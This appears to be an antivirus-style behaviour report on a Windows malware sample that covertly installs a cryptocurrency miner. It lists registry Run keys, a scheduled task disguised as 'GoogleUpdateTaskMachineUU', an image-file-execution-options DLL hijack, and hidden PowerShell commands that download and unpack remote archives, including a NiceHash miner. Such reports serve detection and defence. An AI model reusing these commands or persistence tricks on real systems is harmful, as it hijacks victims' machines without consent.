Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKCU>\software\microsoft\windows\currentversion\run] 'Device Ejection Service' = 'cmd /c start /min <SYSTEM32>\deviceeject.exe'
Creates or modifies the following files
- <SYSTEM32>\tasks\googleupdatetaskmachineuu
Modifies file system
Creates the following files
- %TEMP%\tb8gh5.vbs
Deletes the following files
- %TEMP%\tb8gh5.vbs
Miscellaneous
Searches for the following windows
- ClassName: '' WindowName: 'Task Manager'
Creates and executes the following
- '<SYSTEM32>\cscript.exe' /b "%TEMP%\tb8gh5.vbs"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -nologo $progressPreference=\"silentlyContinue\";iwr -uri \"https://drive.google.com/uc?authuser=0&id=0B69wv2iqszefZDd3em14UjJIeVk&export=download\" -outfile ($env:temp+\"\eech8ahZ.zip\");$shel...' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -nologo $progressPreference=\"silentlyContinue\";iwr -uri \"https://github.com/nicehash/nheqminer/releases/download/0.5c/Windows_x64_nheqminer-5c.zip\" -outfile ($env:temp+\"\Zishu5pa.zip\");$s...' (with hidden window)
- '<SYSTEM32>\reg.exe' add "HKLM\software\microsoft\windows nt\currentversion\image file execution options\deviceeject.exe" /f /v GlobalFlag /t REG_DWORD /d 256' (with hidden window)
- '<SYSTEM32>\reg.exe' add "HKLM\software\microsoft\windows nt\currentversion\image file execution options\deviceeject.exe" /f /v VerifierDlls /t REG_SZ /d msverify.dll' (with hidden window)
- '<SYSTEM32>\reg.exe' add "HKCU\software\microsoft\windows\currentversion\run" /f /v "Device Ejection Service" /t REG_SZ /d "cmd /c start /min <SYSTEM32>\deviceeject.exe"' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' cscript.exe /b "%TEMP%\tb8gh5.vbs"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -nologo $progressPreference=\"silentlyContinue\";iwr -uri \"https://drive.google.com/uc?authuser=0&id=0B69wv2iqszefZDd3em14UjJIeVk&export=download\" -outfile ($env:temp+\"\eech8ahZ.zip\");$shel...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -nologo $progressPreference=\"silentlyContinue\";iwr -uri \"https://github.com/nicehash/nheqminer/releases/download/0.5c/Windows_x64_nheqminer-5c.zip\" -outfile ($env:temp+\"\Zishu5pa.zip\");$s...
- '<SYSTEM32>\reg.exe' add "HKLM\software\microsoft\windows nt\currentversion\image file execution options\deviceeject.exe" /f /v GlobalFlag /t REG_DWORD /d 256
- '<SYSTEM32>\reg.exe' add "HKLM\software\microsoft\windows nt\currentversion\image file execution options\deviceeject.exe" /f /v VerifierDlls /t REG_SZ /d msverify.dll
- '<SYSTEM32>\reg.exe' add "HKCU\software\microsoft\windows\currentversion\run" /f /v "Device Ejection Service" /t REG_SZ /d "cmd /c start /min <SYSTEM32>\deviceeject.exe"
- '<SYSTEM32>\cmd.exe' schtasks /create /f /sc onlogon /tn "GoogleUpdateTaskMachineUU" /tr "cmd /c start /min <SYSTEM32>\deviceeject.exe"
- '<SYSTEM32>\schtasks.exe' /create /f /sc onlogon /tn "GoogleUpdateTaskMachineUU" /tr "cmd /c start /min <SYSTEM32>\deviceeject.exe"
